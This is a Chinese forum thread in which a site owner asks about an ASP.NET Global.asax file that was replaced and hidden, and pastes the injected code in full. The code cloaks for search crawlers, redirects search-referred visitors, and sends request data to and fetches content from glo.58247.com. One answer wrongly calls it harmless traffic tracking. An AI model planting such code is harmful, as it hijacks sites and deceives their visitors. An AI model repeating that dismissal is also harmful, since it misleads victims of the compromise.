Question

Asp.net大家有没有遇到这样的问题，Global.asax 这个文件被下面的代码替换了，还能把那个文件隐藏。

<%@ Application Language="C#" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.IO" %>
<script runat="server">
void Application_BeginRequest(object sender, EventArgs e)
{

string[] spidersString = "spider,msnbot,Baiduspider,YodaoBot,Googlebot".ToLower().Split(',');
bool spi = false;
string user = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();
foreach (string s1 in spidersString)
{
if (user.Contains(s1))
{
spi = true;
break;

}
}

if (spi==false)
{

if (Request.UrlReferrer != null && (Request.UrlReferrer.ToString().ToLower().Contains("baidu") || Request.UrlReferrer.ToString().ToLower().Contains("google")))

{
string sl = "http://glo.58247.com/txt/tiao.txt";
WebClient SWebClient = new WebClient();
SWebClient.Headers.Add ("User-Agent",sl);
SWebClient.Credentials = CredentialCache.DefaultCredentials;
byte[] paged = SWebClient.DownloadData(sl);
string r = Encoding.Default.GetString(paged);
string strHost=Request.ServerVariables["HTTP_HOST"];
Response.Redirect(r + strHost);
Response.End();
}
}
else
{
Response.Clear();
string durl = "http://glo.58247.com/txt/glourl.txt";
WebClient URLWebClient = new WebClient();
URLWebClient.Headers.Add ("User-Agent",durl);
URLWebClient.Credentials = CredentialCache.DefaultCredentials;
byte[] page = URLWebClient.DownloadData(durl);
string SERL = Encoding.Default.GetString(page);
string strHost=Request.ServerVariables["HTTP_HOST"];
string strSelfPage=Request.ServerVariables["PATH_INFO"];
string strUA=Request.ServerVariables["HTTP_USER_AGENT"];
string strQS=Request.ServerVariables["QUERY_STRING"];
string strReferer=Request.ServerVariables["HTTP_REFERER"];
Random r = new Random();
int i = r.Next();
string surl = SERL+"?domain="+strHost+"&ua="+Server.UrlEncode(strUA)+"&frompage="+Server.UrlEncode(strReferer)+"&file="+strSelfPage+"&"+strQS+"&"+i;
WebClient myWebClient = new WebClient();
myWebClient.Credentials = CredentialCache.DefaultCredentials;
byte[] pagedata = myWebClient.DownloadData(surl);
string result = Encoding.Default.GetString(pagedata);
// result=result.Replace("<a href=","<a href=?");
Response.Write(result);
Response.End();

}
}

</script>

Answer 1

应该不是黑了，你这代码本身就是有意义的，如果你觉得没用就删掉好了
“21d801”的书法完全站不住脚，检测是否是搜索引擎这是很正常的事情，有很多网站自己设计流量检测的代码自然需要记录搜索引擎导入的流量
到底你这代码的作用是什么得看整个逻辑和那两txt里的内容

Answer 2

。。。
在项目里直接点击Global.asax就是这个样子的，其实有兴趣你可以打开项目所在的文件夹，用记事本打开Global.asax
你就会明白的

Answer 3

string[] spidersString = "spider,msnbot,Baiduspider,

看到这个 你就知道你的网站被人黑了，都有这种网络蜘蛛的代码了

Answer 4

没见过